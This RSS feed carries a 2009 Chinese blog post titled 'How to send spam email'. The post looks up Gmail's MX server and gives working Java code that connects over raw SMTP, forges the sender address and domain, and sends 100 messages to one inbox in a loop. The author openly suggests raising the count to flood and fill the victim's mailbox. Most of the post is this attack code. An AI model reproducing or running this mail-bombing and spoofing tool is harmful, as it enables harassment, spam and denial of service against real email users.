<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>邪恶的小星星 &#187; mail</title>
	<atom:link href="http://www.xmxsuperstar.com/archives/tag/mail/feed" rel="self" type="application/rss+xml" />
	<link>http://www.xmxsuperstar.com</link>
	<description>Just Another Thinking</description>
	<lastBuildDate>Sun, 18 Dec 2011 06:08:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>如何发垃圾邮件</title>
		<link>http://www.xmxsuperstar.com/archives/459/%e5%a6%82%e4%bd%95%e5%8f%91%e5%9e%83%e5%9c%be%e9%82%ae%e4%bb%b6.html</link>
		<comments>http://www.xmxsuperstar.com/archives/459/%e5%a6%82%e4%bd%95%e5%8f%91%e5%9e%83%e5%9c%be%e9%82%ae%e4%bb%b6.html#comments</comments>
		<pubDate>Fri, 29 May 2009 07:22:29 +0000</pubDate>
		<dc:creator>邪恶的小星星</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[mail]]></category>

		<guid isPermaLink="false">http://www.xmxsuperstar.com/?p=459</guid>
		<description><![CDATA[比如某天我想干一件十分无聊的事情，我想给一个叫testname@gmail.com的邮件账户发送100封垃圾邮件，当然不能用真实的邮件帐号发，得用一个假的比如：noname@nodomain.com 首先，我们得知道gamil的投递服务器地址，在命令行中输入nslookup命令，然后输入set type=mx，接着输入gmail.com，出来几条记录，最后有一行：gmail-smtp-in.l.google.com internet address = 209.85.222.41，好投递服务器就是它了。 经过以上准备我们就可以写个程序发垃圾邮件了，当然数量可以随便定了，可以设一个很无聊的大数字，直接把对方的邮箱挤爆掉，当然某些投递服务器比较智能，一次投递给同一个帐号的邮件多了会拒绝的 java实现代码如下：]]></description>
			<content:encoded><![CDATA[<p>比如某天我想干一件十分无聊的事情，我想给一个叫testname@gmail.com的邮件账户发送100封垃圾邮件，当然不能用真实的邮件帐号发，得用一个假的比如：noname@nodomain.com<br />
首先，我们得知道gamil的投递服务器地址，在命令行中输入nslookup命令，然后输入set type=mx，接着输入gmail.com，出来几条记录，最后有一行：gmail-smtp-in.l.google.com      internet address = 209.85.222.41，好投递服务器就是它了。<br />
经过以上准备我们就可以写个程序发垃圾邮件了，当然数量可以随便定了，可以设一个很无聊的大数字，直接把对方的邮箱挤爆掉，当然某些投递服务器比较智能，一次投递给同一个帐号的邮件多了会拒绝的<br />
java实现代码如下：</p>
<pre class="brush: java; title: ; notranslate">
import java.io.IOException;
import java.io.PrintStream;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Scanner;

public class Mail {
	private static final String CRLF = &quot;\r\n&quot;;

	public static void main(String[] args) {
		// 循环发送邮件
		for (int i = 0; i &lt; 100; ++i) {
			System.out.println(&quot;++++++++++++++&quot; + (i + 1)
					+ &quot;++++++++++++++++++++&quot;);
			send();
		}

	}

	private static void send() {
		PrintStream out = null;
		Scanner in = null;
		Socket smtpSocket = null;
		try {
			smtpSocket = new Socket(&quot;gmail-smtp-in.l.google.com&quot;, 25);
			out = new PrintStream(smtpSocket.getOutputStream());
			in = new Scanner(smtpSocket.getInputStream());
		} catch (UnknownHostException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		}

		if (out == null || in == null) {
			return;
		}

		System.out.println(&quot;s:&quot; + in.nextLine());

		out.print(&quot;helo nodomain.com&quot; + CRLF);

		System.out.println(&quot;s:&quot; + in.nextLine());

		out.print(&quot;mail from: &lt;noname@nodomain.com&gt;&quot; + CRLF);

		System.out.println(&quot;s:&quot; + in.nextLine());

		out.print(&quot;rcpt to: &lt;testname@gmail.com&gt;&quot; + CRLF);

		System.out.println(&quot;s:&quot; + in.nextLine());

		out.print(&quot;data&quot; + CRLF);

		System.out.println(&quot;s:&quot; + in.nextLine());

		out.print(&quot;from: &lt;noname@nodomain.com&gt;&quot; + CRLF);
		out.print(&quot;to: &lt;testname@gmail.com&gt;&quot; + CRLF);
		out.print(&quot;subject: test mail&quot; + CRLF);
		out.print(&quot;&quot; + CRLF);
		out.print(&quot;balabalabalabalabala&quot; + CRLF);
		out.print(&quot;&quot; + CRLF);
		out.print(&quot;.&quot; + CRLF);

		System.out.println(&quot;s:&quot; + in.nextLine());

		out.print(&quot;quit&quot; + CRLF);
		System.out.println(&quot;s:&quot; + in.nextLine());

		in.close();
		out.close();
		try {
			smtpSocket.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.xmxsuperstar.com/archives/459/%e5%a6%82%e4%bd%95%e5%8f%91%e5%9e%83%e5%9c%be%e9%82%ae%e4%bb%b6.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

